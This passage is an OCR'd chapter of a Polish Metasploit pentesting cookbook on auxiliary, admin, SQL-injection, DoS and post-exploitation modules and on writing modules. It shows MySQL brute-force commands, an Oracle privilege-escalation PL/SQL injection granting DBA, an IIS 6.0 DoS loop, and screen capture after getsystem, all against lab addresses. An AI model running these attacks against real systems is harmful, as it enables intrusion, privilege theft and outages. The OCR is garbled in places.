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Praca z modutami
podczas testow
penetracyjnych

W tym rozdziale:
Praca z modutami pomocniczymi skanera
Praca z administracyjnymi modutami pomocniczymi
Moduly wstrzykniecia zapytania SQL oraz ataku DoS
Moduty fazy poeksploatacyjnej
Podstawy budowy modutu
Analiza gotowego modutu

Budowanie wlasnego modutu fazy poeksploatacyjnej

Wprowadzenie

W pierwszym rozdziale oméwilismy podstawy frameworku Metasploit i stwierdzilismy, ze ma ar-
chitekture modutows. Oznacza to, ze wszystkie exploity, fadunki, kodery oraz inne jego kom-
ponenty majg posta¢ modutéw. Modulowa architektura utatwia rozszerzanie funkcjonalnosci
frameworku. Kazdy programista moze opracowa¢ swij wlasny modut i zaimportowaé go do
frameworku. Pelny proces testéw penetracyjnych moze wymaga¢ uruchomienia kilku modu-
fow. Kiedy rozpoczynamy np. faze eksploatacji, uzywamy modutu tadunku, a gdy juz zlamiemy
zabezpieczenia maszyny docelowej, mozemy skorzysta¢ z kilku modutéw poeksploatacyjnych.

Kup ksigzke Pole¢ ksigzke


http://helion.pl/page354U~rt/metarp
http://helion.pl/page354U~rf/metarp

Metasploit. Receptury pentestera

Roézne moduly znajda takze zastosowanie przy laczeniu sie z baza danych oraz zapisywaniu w niej
wynikéw przeprowadzanych testéw. Mimo ze moduly nie sa omawiane zbyt szeroko podczas
pracy z frameworkiem Metasploit, to stanowig jego istote, wiec powiniene$ dobrze poznaé
spos6b ich funkcjonowania.

W tym rozdziale skoncentrujemy sie na folderze opt/metasploit/msf3/modules, zawierajacym
pelng liste uzytecznych moduléw, ktére mogg ulatwi¢ zadanie przeprowadzania testéw pene-
tracyjnych. Stosowanie modutéw jest bardzo podobne do tego, co omawialismy do tej pory,
ale istnieje pewna réznica w ich funkcjonalnosci. W dalszej czesci rozdzialu przeanalizujemy
tez niektore z istniejacych moduléw, a na koniec zajmiemy sie tworzeniem wlasnych modu-
16w dla frameworku Metasploit. Rozpocznijmy eksperymenty z modutami.

Praca z modutami pomocniczymi skanera

Zacznijmy eksperymentowanie od zapoznania sie z modutami skanera. Poznalismy szczeg6-
lowo proces skanowania, stosujac narzedzie nmap. W tej recepturze przeanalizujemy niektére
z gotowych moduléw skanujgcych, ktére sg dostarczane wraz z frameworkiem Metasploit.
Cho¢ nmap jest wszechstronnym narzedziem skanujacym, moze sie zdarzy¢, ze bedziemy mu-
sieli wykona¢ skanowanie konkretnego typu, takie jak skanowanie pod katem obecnosci bazy
danych MySQL.

Metasploit dostarcza pelng liste takich uzytecznych skaneréw. Sprébujmy zastosowaé je
w praktyce.

Przygotu;j sie
Liste dostepnych skaneréw znajdziesz w folderze /opt/metasploit/msf3/modules/auxiliary/scanner.

Ta lista obejmuje ponad 35 ré6znych moduléw skanowania, ktére moga byé stosowane w réz-
nych scenariuszach testéw penetracyjnych.

Jak to wykona¢

Nauczmy sie krok po kroku, jak pracowaé z pomocniczymi modulami skaneréw. Zaczniemy
od podstawowego skanera HTTP Przekonasz sie, ze jest dostepnych wiele réznych opcji ska-
nowania HTTP. Ponizej om6éwimy kilka z nich:

B Przyjrzyjmy si¢ skryptowi dir_scanner. Przeprowadza on skanowanie pojedynczego
hosta lub catego zakresu sieci w poszukiwaniu interesujacych list folderéw,
ktére moga zosta¢ poddane dalszemu badaniu, by zebra¢ informacje o celu.
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Rozdziat 5. ¢ Praca z modutami podczas testow penetracyjnych

B Aby rozpocza¢ korzystanie z modutu pomocniczego, musimy wpisa¢ w konsoli
msfconsole nastepujace polecenia:
msf > use auxiliary/scanner/http/dir_scanner
msf auxiliary(dir_scanner) > show options

Polecenie show options wyswietli liste wszystkich dostepnych opcjonalnych parametréw, kto-
re mozna zastosowa¢ dla modutu skanera. Najwazniejszym z nich jest parametr RHOSTS, ktory
pozwala wskaza¢ pojedyncza maszyne lub grupe komputeréw w danej sieci.

Jak to dziata

Omo6wmy konkretny modul skanera wraz z dodatkowymi danymi wej$ciowymi. Modut skane-
ra mysql_Togin jest modulem atakéw sitowych (ang. brute force), ktéry skanuje dostepnosé
serwera MySQL na maszynie docelowej i prébuje zalogowa¢ sie do bazy danych poprzez atak
metoda brute force w sposéb nastepujacy:

msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql login) > show options

Module options (auxiliary/scanner/mysql/mysql Tlogin):

Name Current Setting Required Description
BLANK_PASSWORDS  true yes Try blank pas...
BRUTEFORCE_SPEED 5 yes How fast to...
PASSWORD no A specific password...
PASS FILE no File containing...
RHOSTS yes The target address...
RPORT 3306 yes The target port...
STOP_ON_SUCCESS  false yes Stop guessing...
THREADS 1 yes The number of...
USERNAME no A specific user...
USERPASS_FILE no File containing...
USER_FILE no File containing...
VERBOSE true yes Whether to print...

Jak widzisz, istnieje wiele ré6znych parametréw, ktére mozemy ustawié dla tego modutu. Im
lepiej wykorzystamy mozliwosci modutu, tym wieksze sg szanse na przeprowadzenie udanych
testow penetracyjnych. Mozemy dostarczy¢ pelng liste nazw uzytkownikéw oraz hasel, ktére
modul moze wykorzysta¢ do préby zalogowania sie na maszynie docelowej.

Dostarczmy te informacje do modutu:

msf auxiliary(mysql Tlogin) > set USER FILE /nazwy uzytkownikow.txt
USER FILE => /nazwy uzytkownikow.txt

msf auxiliary(mysql Tlogin) > set PASS FILE /hasla.txt

PASS_FILE => /hasla.txt
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JesteSmy gotowi, aby zastosowaé metode ataku sitowego. Ostatnim krokiem jest wybranie
celu i wykonanie polecenia run, aby uruchomié¢ modut:

msf auxiliary(mysql Tlogin) > set RHOSTS 192.168.56.101

RHOSTS => 192.168.56.101

msf auxiliary(mysql_Tlogin) > run

[*] 192.168.56.101:3306 - Found remote MySQL version 5.0.5la

[*] 192.168.56.101:3306 Trying username:'administrator' with password:''

Jak wida¢ w powyzszym listingu, modul rozpoczat swoje dzialanie od préby znalezienia serwera
MySQL na maszynie docelowej. Po stwierdzeniu obecnosci tego serwera modut przeprowa-
dza sprawdzanie kombinacji nazw uzytkownika oraz hasel dostarczonych w pliku zewnetrznym.
Przeprowadzana w tym scenariuszu operacja jest rowniez jedng z najczeSciej wykonywanych
w Metasploit czynnosci z wykorzystaniem moduléw. Dostepnych jest wiele zautomatyzowa-
nych modutéw atakow sitowych, ktére stuza do tamania stabych haset.

Zobacz rowniez

Oméwmy szybki i prosty sposéb generowania plikéw haset za pomoca frameworku Metasploit.
Pokazna lista hasel moze by¢ pomocna podczas testéw penetracyjnych metodg brute force.

Generowanie haset za pomoca narzedzia Crunch

Przy kazdym ataku sitowym konieczne jest posiadanie obszernej listy haset, ktére wykorzystamy
do préb logowania. Listy hasel mozna pobraé z zasobéw internetowych. Pentester moze tez
wygenerowac liste hasel za pomoca narzedzia John the Ripper lub skorzystaé z wbudowanego
w system BackTrack narzedzia crunch, aby utworzy¢ taka liste na podstawie wskazanego ze-
stawu znakéw. Narzedzie crunch znajduje sie w folderze /pentest/passwords/crunch. Jesli go
nie ma w Twojej wersji systemu BackTrack, mozesz je zainstalowaé, wprowadzajac w oknie
terminala nastepujace polecenie:

root@bt: cd /pentest/passwords
root@ht:/pentest/passwords# apt-get install crunch

Przykladowa sktadnia narzedzia crunch jest nastepujaca:
./crunch <dt_min> <dt_maks> [-f /Sciezka/do_pliku/charset.lst
>nazwa_zestawu_znakow] [-o lista haset.txt][-t [niezmienny ciqg znakow]@@Ee]
> [-s poczqtkowy ciqg znakow] [-c liczba linii pliku_tekstowego]
Ponizej opisano znaczenie niektérych uzytecznych parametréw narzedzia crunch:
B Parametr dt_min okreSla poczatkowa minimalng dtugo$¢ ciagu znakéw.
B Parametr dt_maks okresla konicowa maksymalng dltugo$é ciggu znakéw.

M Parametr nazwa_zestawu_znakow okresla predefiniowany zestaw znakow,
ktéry ma by¢ wykorzystany do wygenerowania listy haset.
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Rozdziat 5. ¢ Praca z modutami podczas testow penetracyjnych

B Parametr -b: liczba[kb/mb/gb] okresla rozmiar pliku wyjsciowego w wybranej
jednostce (MB, KB lub GB).

B Parametr -f </Sciezka/do _pliku/charset.1st> <nazwa_zestawu_znakow> pozwala
okresli¢ predefiniowany zestaw znakoéw z pliku charset.Ist (np. hex-1ower).

B Parametr -0 <lista_haset. txt> okresla plik, w ktérym zostang zapisane dane
wyjSciowe.

B Parametr -t [niezmienny ciqg_znakow]<@,%™> sluzy do dodawania w
wygenerowanym hagle niezmieniajacego sie ciagu znakéw oraz dodatkowych,
wystepujacych w dowolnej liczbie, losowych, pojedynczych znakéw o ustalonym
formacie, ktérego poszczegdlne opcje oznaczaja: @ — mate litery, , — wielkie
litery, % — liczby, ~ — symbole. Przykladowo, wygenerowane hasto z opcja
-t @@@helion@E@ moze wygladadé nastepujaco bgrhelionoip.

Pelng dokumentacje narzedzia crunch mozna znalezé na stronie hitp://sourceforge.net/projects/
crunch-wordlist/files/crunchwordlist/.

Mozesz przej$é¢ do pelnej dokumentacji, aby dowiedzieé sie, w jaki sposéb korzysta¢ z tego
narzedzia do generowania listy dtugich i skomplikowanych haset.

Inne zasoby

Mozemy réwniez zastosowac listy hasel pozyskane w wyniku przeprowadzonych przez osoby
trzecie atakéw na rézne serwisy internetowe. Cenny zaséb takich haset znajdziesz na stronie
http:/www.skullsecurity. org/wiki/index.php/Passwords.

Listy hasel w systemie BackTrack zlokalizowane sa w folderze /pentest/passwords/wordlists.
W systemie Kali Linux ten zaséb znajduje sie w katalogu /usr/share/wordlists.

Praca z administracyjnymi modutami
pomocniczymi

Kontynuujac eksperymenty z modulami, przejdzmy do moduléw administracyjnych, ktére
moga by¢ bardzo przydatne podczas testéw penetracyjnych. Moduly administracyjne, w zalezno-
$ci od ich funkcjonalnosci, moga stuzyé do réznych celéw, takich jak poszukiwanie panelu
administracyjnego, loginu administratora itd. W tej recepturze przyjrzymy si¢ prostemu ad-
ministracyjnemu modulowi pomocniczemu o nazwie mysql_enum.
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Przygotu;j sie

Modut mysql_enum jest specjalnym modulem narzedziowym dla serweréw baz danych MySQL.
Zapewnia prostg enumeracje serwera baz danych MySQL, przy zalozeniu ze odpowiednie po-
$wiadczenia uzytkownika sg przyznane dla potaczenia zdalnego. Zobaczmy, jak to dziala
w praktyce.

Jak to wykona¢

Ponizsze kroki okreslajg sposob pracy z administracyjnym modutem pomocniczym:

B Zaczniemy od uruchomienia interfejsu konsoli msfconsole i wprowadzenia Sciezki
dostepu do modutu pomocniczego:

msf > use auxiliary/admin/mysql/mysql_enum

msf auxiliary(mysql_enum) > show options
Module options (auxiliary/admin/mysql/mysql_enum):

Name Current Setting Required Description

PASSWORD no The password for the...
RHOST yes The target address
RPORT 3306 yes The target port
USERNAME no The username to...

B Jak widaé, modut pozwala na zdefiniowanie takich parametréw jak PASSWORD
(hasto), USERNAME (nazwa uzytkownika) oraz RHOST (adres zdalnego hosta). Moze
to by¢ pomocne przy pierwszym wyszukiwaniu potencjalnej bazy danych MySQL
oraz podczas proby zdalnego logowania za pomocg podanych poswiadezen.
Przeanalizujmy dane wyjsciowe wysSwietlone po wykonaniu komendy exploit:

msf auxiliary(mysql _enum) > exploit

[*] Configuration Parameters:

[*] C2 Audit Mode is Not Enabled

[*] xp_cmdshell is Enabled

[*] remote access is Enabled

[*] allow updates is Not Enabled

[*] Database Mail XPs is Not Enabled

[*] O0le Automation Procedures are Not Enabled
[*] Databases on the server:

[*] Database name:master

Modut odpowiada duzg ilo$cig przydatnych informacji. Informuje nas o tym, ze powloka cmdshel1
oraz zdalny dostep zostaly wlaczone w konfiguracji MySQL na maszynie docelowej. Zwraca
réwniez informacje o nazwie bazy danych, ktéra jest aktualnie uruchomiona na maszynie do-
celowe;.
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Istnigje kilka podobnych moduléw przeznaczonych dla innych ushug, takich jak MSSQL i Apache.
Dla wiekszo$ci modutéw sposéb dziatania jest zblizony. Pamietaj, aby uzyé polecenia show options
w celu sprawdzenia, ktére parametry sa wymagane.

Jak to dziata

Administracyjne moduly pomocnicze wykorzystujg prosty proces enumeracji, uruchamiajac
polaczenie, a nastepnie wyprébowujac ré6zne kombinacje nazw uzytkownika i hasel. Za po-
moca tych moduléw mozna réwniez sprawdzié, czy serwer bazy danych umozliwia anonimo-
we logowanie. Ponadto mozna wykona¢ prébe logowania dla domy$lnych poswiadezen. Dla
serwera MySQL domyslne poswiadczenia to nazwa uzytkownika scott oraz hasto tiger.

Moduty wstrzykniecia zapytania SQL
oraz ataku DoS

Framework Metasploit jest przyjazny zaréwno dla pentesteréw, jak i hakeréw. Jest tak dlatego, ze
pentester musi mysle¢ z perspektywy hakera, aby zabezpieczy¢ swoja sie¢, ustugi, aplikacje itd.
Moduly wstrzykniecia zapytania SQL (ang. SQL injection — SQLi) oraz atakéw typu DoS (ang.
Denial of Service) pomagaja pentesterom w atakowaniu wlasnych ustug w celu sprawdzenia,
czy sa one podatne na takie ataki. Warto wiec szczegélowo oméwié niektore z tych moduléw.

Przygotu;j sie

Modul wstrzykniecia SQL wykorzystuje znang luke w zabezpieczeniach okreslonego typu ba-
zy danych, umozliwiajac jej eksploatacje i zapewniajac nieautoryzowany dostep. Wiadomo, ze ta
luka dotyczy baz danych Oracle 9i oraz 10g. Metasploit zawiera kilka moduléw, ktére wyko-
rzystuja znany exploit baz danych Oracle w celu ztamania ich zabezpieczen poprzez wstrzyk-
niecie zapytania. Moduly mozna znalez¢ w folderze modules/auxiliary/sqliforacle.

Jak to wykona¢
Przeanalizujmy luke w zabezpieczeniach, ktéra nosi nazwe Oracle DBMS_METADATA XML:

B Taluka zwigksza uprawnienia uzytkownika DB_USER do poziomu administratora
bazy danych DB_ADMINISTRATOR. Wykorzystamy modutl dbms_metadata_get xml:

msf auxiliary(dbms metadata get xml) > show options

Module options (auxiliary/sqli/oracle/dbms metadata get xml):
Name Current Setting Required Description
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DBPASS TIGER yes The password to...
DBUSER SCOTT yes The username to...

RHOST yes The Oracle host.

RPORT 1521 yes The TNS port.

SID ORCL yes The sid to authenticate.
SQL GRANT DBA to SCOTT no SQL to execute.

B Modul wymaga okreslenia podobnych parametréw, jakie stosowalismy do tej pory.
Najpierw wykonywana jest préba zalogowania sie za pomocg domyslnych
poswiadczen, czyli odpowiednio nazwy uzytkownika scott oraz hasta tiger.

Gdy modul uzyskuje status zalogowania jako uzytkownik bazy danych, wykonuje
exploit w celu zwiekszenia uprawnien do poziomu administratora bazy danych.
Uruchommy modul w celu przetestowania maszyny docelowej:

msf auxiliary(dbms metadata get xml) > set RHOST 192.168.56.1
msf auxiliary(dbms metadata get xml) > set SQL YES

msf auxiliary(dbms metadata get xml) > run

B Po pomyslnym wykonaniu modutlu uprawnienia uzytkownika zostana zwiekszone
2 DB_USER do DB_ADMINISTRATOR.

Kolejnym modutem, ktéry oméwimy, jest modul zwigzany z atakami typu DoS
(ang. Denial of Service). Przeanalizujemy prosta luke w zabezpieczeniach ustug IIS
(ang. Internet Information Services) w wersji 6.0, ktora umozliwia atakujacemu
doprowadzenie do awarii serwera przez wystanie zadania POST, zawierajacego
ponad 40000 parametréw zadania. Zajmijmy sie ta lukg pokrétce. Modut zostat
przetestowany na serwerze z niezaktualizowana wersja systemu Windows 2003

z uruchomionymi ustugami IS w wersji 6.0. Modutu ms10_065_ii6_asp_dos
uzyjemy w sposéb nastepujacy:

msf > use auxiliary/dos/windows/http/ms10 065 ii6 asp_dos
msf auxiliary(msl10 065 116 _asp dos) > show options
Module options (auxiliary/dos/windows/http/ms10 065 116 asp_dos):

Name  Current Setting Required Description

RHOST yes The target address

RPORT 80 yes The target port

URI /page.asp yes URI to request

VHOST no The virtual host name to...

msf auxiliary(ms10 065 ii6_asp dos) > set RHOST 192.168.56.1

RHOST => 192.168.56.1

msf auxiliary(ms10 065 ii6_asp_dos) > run

[*] Attacking http://192.168.56.1:80/page.asp

B Gdy modut zostanie uruchomiony za pomoca polecenia run, zaczyna atakowac

docelowy serwer I1S poprzez wystanie zadania HTTP na porcie 80 z adresem URL
do strony page.asp. Pomy$lne wykonanie modutu doprowadzi do catkowitej
odmowy ustugi (DoS) na serwerze IIS.
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Jak to dziata

Rzuémy okiem na dwie luki w zabezpieczeniach. Luka bazy danych firmy Oracle jest eksplo-
atowana za pomocg wstrzykiwania niestandardowej funkeji PL/SQL, ktéra jest wykonywana
w kontekscie SYS i zwieksza uprawnienia uzytkownika scott do uprawnien administratora.
Rozwazmy tg przykladowa funkcjg:

CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" return varchar2
authid current_user as

pragma autonomous_transaction;

BEGIN

EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';

COMMIT;

RETURN '';

END;

/

Wstrzykiwanie tej funkcji w podatnej na ataki procedurze doprowadzi do zwiekszenia upraw-
niefi dla uzytkownika scott:

SELECT SYS.DBMS METADATA.GET DDL(''"'||SCOTT.ATTACK FUNC()||''',"") FROM dual;

Powyzszy wiersz kodu wyjasnia proces wstrzykniecia. Szczegotowa analiza luki w zabezpie-
czeniach oprogramowania firmy Oracle wykracza poza zakres tej ksigzki.

Przejdzmy do modutu atakéw DoS, ktéry wykorzystuje luke w zabezpieczeniach serwera I11S
w wersji 6.0. Atakujacy wysyla zadanie POST, ktére zawiera ponad 40000 parametréw zadania.
Zadanie ma posta¢ kodowania typu application/x-www-form-urlencoded.

Oto cze$¢ skryptu, ktéra obstuguje ten modut:

while(1)
begin
connect
payload = "C=A&" * 40000
length = payload.size
sploit = "HEAD #{datastore['URI']} HTTP/1.1\r\n"
sploit << "Host: #{datastore['VHOST'] || rhost}\r\n"
sploit << "Connection:Close\r\n"
sploit << "Content-Type: application/x-www-formurlencoded\r\n"
sploit << "Content-Length:#{1ength} \r\n\r\n"
sploit << payload
sock.put(sploit)
#print_status("DoS packet sent.")
disconnect
rescue Errno::ECONNRESET
next
end
end
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Jak wida¢ powyzej, skrypt generuje tadunek o rozmiarze wiekszym niz 40000. Nastepnie nawig-
zywane jest polaczenie na porcie 80 w celu wystania zadania HTTP do serwera IIS. Po prze-
tworzeniu zadania przez serwer nastapi awaria i zatrzymanie pracy do momentu ponownego
uruchomienia serwera.

Moduty fazy poeksploatacyjnej

Dotychczas omawialismy gléwnie dzialania fazy poeksploatacyjnej przeprowadzane za pomo-
cg réznych funkeji Meterpretera. Mamy tez jednak do dyspozycji osobng dedykowang liste
moduléw, ktére moga poszerzy¢ do§wiadczenie wykonywania testéw penetracyjnych. Ponie-
waz sg to moduly fazy poeksploatacyjnej, bedziemy potrzebowali aktywnej sesji na maszynie
docelowej. W tej recepturze postaramy sie uzyskaé dostep do celu.

Przygotuj sie

Modut fazy poeksploatacyjne;j to zbiér jednych z najbardziej interesujacych i przydatnych funkcji,
ktére mozna wykorzysta¢ podczas testéw penetracyjnych. Przeanalizujmy szybko niektére z nich.
Uzyjemy jako maszyny docelowej niezaktualizowanego systemu Windows 7 z aktywna sesja
Meterpretera.

Jak to wykonac
Przejdzmy do fazy poeksploatacyjnej, w ktorej wykonamy nastepujace czynnoscei:

1. Moduly fazy poeksploatacyjnej znajduja sie w folderze modules/post/windows/gather.
Zacznijmy od prostego modutu enum_Togged on_users, ktory wyswietli liste
aktualnie zalogowanych uzytkownikéw na maszynie z systemem Windows.
Uruchomimy ten modul poprzez aktywna sesje Meterpretera. Pamietaj réwniez,
aby zwiekszy¢ uprawnienia uzytkownika za pomoca polecenia getsystem w celu
unikniecia jakichkolwiek bledéw w trakcie uruchamiania modutu:

meterpreter > getsystem
...got system (via technique 4).
meterpreter > run post/windows/gather/enum logged on users

[*] Running against session 1
Current Logged Users

SID User

S-1-5-21-2350281388-457184790-407941598 DARKLORD-PC\DARKLORD
Recently Logged Users

SID Profile Path
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8 %systemroot%\system32\config\systemprofile
9 C:\Windows\ServiceProfiles\LocalService
0 C:\Windows\ServiceProfiles\NetworkService
1-23502  C:\Users\DARKLORD

$-1-5-21-235 C:\Users\Winuser
Pomy$lne uruchomienie modutu powoduje wyswietlenie dwéch tabel. Pierwsza
z nich zawiera liste aktualnie zalogowanych uzytkownikéw, a druga informacje
o ostatnio zalogowanych uzytkownikach. Przesledz odpowiednig $ciezke podczas
uruchamiania modutéw. Do ich uruchomienia uzylismy polecenia run. Poniewaz
wszystkie sa skryptami jezyka Ruby, Meterpreter moze je atwo zidentyfikowac.

2. Przeanalizujmy jeszcze jeden przyklad. Istnieje pewien interesujacy modut fazy
poeksploatacyjnej, ktéry przechwytuje zrzut ekranu pulpitu maszyny docelowej.
Modut ten moze by¢ przydatny, gdy musimy sie dowiedzied, czy istnieje
jakikolwiek aktywny uzytkownik, czy nie. Jest to nastepujacy modut:

meterpreter > run post/windows/gather/screen_spy
[*] Migrating to explorer.exe pid: 1104

[*] Migration successful
[*] Capturing 60 screenshots with a delay of 5 seconds

Mozesz zauwazy¢, jak tatwe w uzyciu i przydatne moga by¢ moduty fazy poeksploatacyjne;j.
W najblizszej przyszlosci twoérey frameworku Metasploit beda skupia¢ sie raczej na modutach
fazy poeksploatacyjnej, a nie na Meterpreterze, poniewaz znacznie zwiekszaja one funkcjonalnosé
testéw penetracyjnych. Jesli wiec szukasz sposobnosci, aby wspoméc spotecznosé Metasploit,
mozesz popracowaé nad modutami fazy poeksploatacyjne;.

Jak to dziata

Przeanalizuj skrypty enum_logged _on_user.rb oraz screen_spy.rb z folderu modules/post/
windows/gather. Moze pomdéc Ci to lepiej zrozumieé¢ sposéb funkcjonowania tych modul6w.

Podstawy budowy modutu

Jak dotad oméwilismy przydatnosé modutéw i potencjal, jaki moga dodaé do frameworku
Metasploit. Aby biegle opanowa¢ korzystanie z tego frameworku, konieczne jest zrozumienie
funkcjonowania i budowy moduléw. Pomoze to w szybkim rozszerzeniu mozliwosci frame-
worku zgodnie z naszymi potrzebami. W kilku kolejnych recepturach zobaczymy, w jaki spo-
s6b mozemy uzywaé skryptéw Ruby do budowania wlasnych modutéw i importowaé je do
frameworku.
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Przygotu;j sie

Aby rozpoczaé budowe wlasnego modutu, potrzebujemy podstawowej znajomosci skryptéw
Ruby. Oméwilismy juz wykorzystanie i implementacje jezyka programowania Ruby przy pi-
saniu skryptéw Meterpretera. W tej recepturze zobaczymy, jak postuzy¢ sie jezykiem Ruby
przy tworzeniu nowych modutéw dla frameworku. Proces ten jest bardzo podobny do pisania
skryptéw Meterpretera. R6znica polega na zastosowaniu zestawu uprzednio zdefiniowanych
wierszy kodu, ktére sa niezbedne, aby framework moégl zrozumieé wymagania i nature mo-
dutu. Oméwmy wiec niektére z zasadniczych wymagan, ktére musza byé spetione przy bu-

dowie

moduléw.

Jak to wykona¢

Zacznijmy od podstaw tworzenia modultéw:
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Aby modul byt czytelny dla frameworku, musimy zaimportowa¢ biblioteki MSF
w spos6b nastepujacy:
require 'msf/core’
Jest to pierwszy i najwazniejszy wiersz kodu kazdego skryptu. Wskazuje, ze modut
bedzie zawieral wszystkie zaleznosci i funkcjonalnosci frameworku Metasploit.

Kolejny wiersz definiuje klase, ktéra dziedziczy wlasciwosci rodziny moduléw
pomocniczych. Modut pomocniczy moze importowaé kilka funkcjonalnosci, takich
jak skanowanie, otwieranie polaczen, korzystanie z bazy danych itd.:

class Metasploit3 < Msf::Auxiliary

Instrukcja include moze by¢ wykorzystana w celu dodania do tworzonego modutu
konkretnej funkcjonalnosci frameworku. Jezeli budujesz np. modut skanera,
mozesz zastosowaé instrukcje:
include Msf::
Nastepujacy wiersz doda do modutu funkcjonalnosé zdalnego skanowania TCP:
include Msf::Exploit::Remote::TCP
Ponizszy fragment kodu importuje gléwne biblioteki modutu skanowania
z bibliotek frameworku Metasploit:
include Msf::Exploit::Remote::TCP
include Msf::Exploit::Capture

include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

Kolejny fragment skryptu stanowi wprowadzenie do modulu, dostarczajac
informacje takie jak jego nazwa, wersja, autor, opis itd.:

def initialize
super(
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'"Name' => 'TCP Port Scanner',
'Version' => '$Revision$’,
'Description' => 'Enumerate open TCP services',
'"Author' => [ darklord ],
"License' => MSF_LICENSE
)

B Nastepnych kilka wierszy skryptu jest uzywanych do inicjowania jego wartosci.
Opcje oznaczone jako true sg zasadniczo wymagane dla moduléw, natomiast opcje
oznaczone jako no sg opcjonalne. Te warto$ci moga by¢ wprowadzane lub
zmieniane w trakcie uruchamiania modutu:

register _options(

[
OptString.new('PORTS', [true, "Ports to scan (e.g. 25,80,110-900)",
-"1-10000"1),
OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds",
-1000]),
OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check
>per host", 10]), self.class)
deregister_options('RPORT')

Sa pewne wspdlne wiersze skryptu, ktére znajdziesz w kazdym module. Analiza wbudowanych
skryptéw jest najlepszym sposobem, aby dowiedzie¢ sie wiecej o ich budowie. Istnieje kilka
opracowan na temat tworzenia moduléw, ale najlepszym sposobem na nauke jest opanowanie
pisania skryptéw Ruby i analizowanie istniejacych modutéw. W nastepnej recepturze prze-
analizujemy od podstaw caly modul.

Analiza gotowego modutu

W poprzedniej recepturze zapoznaliSmy sie z podstawami budowania wlasnych moduléw. Na-
stepnym krokiem bedzie analiza istniejacych moduléw. Jesli cheesz zglebié¢ tajniki przygoto-
wywania moduléw i przyczynié sie do rozwoju platformy, powinienes doktadniej zapozna¢ sie
ze skryptami istniejacych modutéw.

Przygotuj sie

Przeanalizujemy prosty modul FTP, aby zglebi¢ tematyke budowania modutéw.

Zaczniemy od miejsca, w ktérym zakoriczyliSmy poprzednig recepture. Oméwilismy juz podsta-
wowy szablon modulu, przejdzmy wiec od gléwnej czesci skryptu.
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Jak to wykona¢

Przeanalizujemy modut anonimowego dostepu FTP:

1. Gléwny skrypt tego modutu znajduje sie w folderze
opt/Metasploit/msf3/modules/auxiliary/scanner/ftp/anonymous.rb

Oto pelny skrypt:

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::Ftp

include Msf::Auxiliary::Scanner

include Msf::Auxiliary::Report

def initialize

super(

'Name' => 'Anonymous FTP Access Detection',
'Version' => '$Revision: 14774 §',
'Description'=> 'Detect anonymous (read/write)
S>FTP server access.',
'References' =>

[
['URL', 'http://en.wikipedia.org/
—>wiki/File_Transfer_Protocol#
>Anonymous_FTP'],
1,
"Author' => 'Matteo Cantoni <goony[at]
“>nothink.org>"',
‘License’ => MSF_LICENSE
)
register options(
[
Opt::RPORT(21),
1, self.class)
end
def run_host(target host)
begin

res = connect_Tlogin(true, false)
banner.strip! if banner
dir = Rex::Text.rand text alpha(8)
if res
write check = send_cmd( ['MKD', dir] , true)
if (write_check and write check =~ /2/)
send cmd( ['RMD', dir] , true)
print_status("#{target host}:#{rport}
>Anonymous READ/WRITE (#{banner})")
access_type = "rw"

else
print_status("#{target host}:#{rport}
>Anonymous READ (#{banner})")
access_type = "ro"

end
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report_auth_info(
thost  => target_host,
:port  => rport,
:sname => 'ftp',
:user  => datastore['FTPUSER'],
:pass  => datastore['FTPPASS'],
:type  => "password #{access type}",
:active => true

)
end
disconnect
rescue ::Interrupt
raise §!
rescue ::Rex::ConnectionError, ::I0Error
end

end
end

Przejdzmy do nastepnego punktu i przeanalizujmy skrypt szczeg6towo.

Jak to dziata

Zacznijmy od analizy gtéwnej czesci skryptu, aby zrozumie¢, jak dziata.

Ta funkcja shuzy do rozpoczecia potaczenia. Zmienna res posiada warto$é logiczna true (prawda)
lub false (falsz). Funkcja connect_Togin jest specyficzng funkcja uzywang przez modul w celu
nawigzania polaczenia ze zdalnym hostem. W zaleznosci od tego, czy uda sie nawigzaé polg-
czenie, odpowiednia warto$é logiczna jest zapisywana w zmiennej res:

def run_host(target host)
begin
res = connect login(true, false)
banner.strip! if banner
dir = Rex::Text.rand text alpha(8)

Po ustanowieniu polaczenia modul prébuje sprawdzi¢, czy anonimowy uzytkownik posiada
uprawnienia odczytu/zapisu (ang. read/write). Zmienna write check sprawdza, czy operacja zapisu
jest mozliwa. Nastepnie sprawdzane jest, czy operacja zostata zakonczona powodzeniem. W za-
leznosci od statusu uprawnien na ekranie wy$wietlany jest odpowiedni komunikat. Jesli ope-
racja zapisu nie powiedzie sie, zostanie wySwietlony status ro lub read-only (tylko do odczytu):

if res
write check = send _cmd( ['MKD', dir] , true)
if (write_check and write check =~ /~2/)
send_cmd( ['RMD', dir] , true)
print_status("#{target host}:#{rport}
“>Anonymous READ/WRITE (#{banner})")
access_type = "rw"
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else
print_status("#{target host}:#{rport}
“>Anonymous
access_type="ro"

Nastepna funkcja stuzy do zglaszania informacji o autoryzacji. Zawierajg one wazne parametry,
takie jak nazwa hosta, numer portu, nazwa uzytkownika, haslo itd. Sg to wartosci, ktére poja-
wiajg sie, gdy uzywamy polecenia show options, sg wiec zalezne od uzytkownika.

report_auth_info(
thost  => target_host,
:port  => rport,
:sname => 'ftp',
:user  => datastore['FTPUSER'],
:pass  => datastore['FTPPASS'],
:type  => "password #{access_type}",
:active => true

)

end

To byta szybka demonstracja dziatania prostego modutu dostepnego we frameworku Meta-
sploit. Mozesz zmieni¢ istniejgce skrypty odpowiednio do swoich potrzeb. Czyni to z tego
frameworku niezwykle przenosng platforme do programowania. Jak juz powiedzielismy, naj-
lepszym sposobem na nauke budowania modutéw jest analizowanie istniejgcych skryptow.

W nastepnej recepturze zobaczymy, jak zbudowaé¢ wlasny modut i przeniesé¢ go do frameworku
Metasploit.

Budowanie wiasnego modutu fazy
poeksploatacyjnej

Omowilismy juz wszystkie podstawowe kwestie dotyczgce budowania modutéw. W tej re-
cepturze zajmiemy sie przygotowaniem wlasnego modutu i zaimportowaniem go do frame-
worku Metasploit. Budowanie moduléw moze by¢ bardzo przydatne, gdyz daje mozliwosé
rozszerzenia funkcjonalnosci frameworku w zaleznos$ci od wlasnych potrzeb.

Przygotuj sie

Zbudujmy maty modut fazy poeksploatacyjnej, ktéry przeprowadzi enumeracje wszystkich za-
